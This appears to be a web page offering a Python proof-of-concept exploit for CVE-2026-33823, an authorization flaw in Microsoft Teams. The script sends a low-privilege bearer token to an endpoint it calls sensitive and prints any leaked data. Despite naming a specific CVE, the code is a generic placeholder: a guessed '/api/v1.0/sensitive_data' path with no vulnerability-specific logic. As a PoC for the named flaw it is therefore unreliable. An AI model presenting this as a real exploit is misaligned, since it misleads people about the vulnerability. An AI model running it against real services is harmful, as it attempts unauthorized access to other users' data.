CVE-2026-33823 Microsoft Teams授权不当漏洞

# PoC for CVE-2026-33823 - Conceptual Authorization Bypass # This script demonstrates how a low-privilege user might attempt to access unauthorized data. import requests def poc_exploit(target_url, access_token): """ Attempts to access sensitive information using a low-privilege token. """ headers = { "Authorization": f"Bearer {access_token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } # Endpoint that should be restricted but is vulnerable due to improper auth sensitive_endpoint = f"{target_url}/api/v1.0/sensitive_data" try: response = requests.get(sensitive_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Authorization Bypass detected.") print(f"[+] Leaked Data: {response.text}") return True else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {str(e)}") return False if __name__ == "__main__": # Example usage target = "https://teams.example.com" token = "<LOW_PRIVILEGE_TOKEN>" poc_exploit(target, token)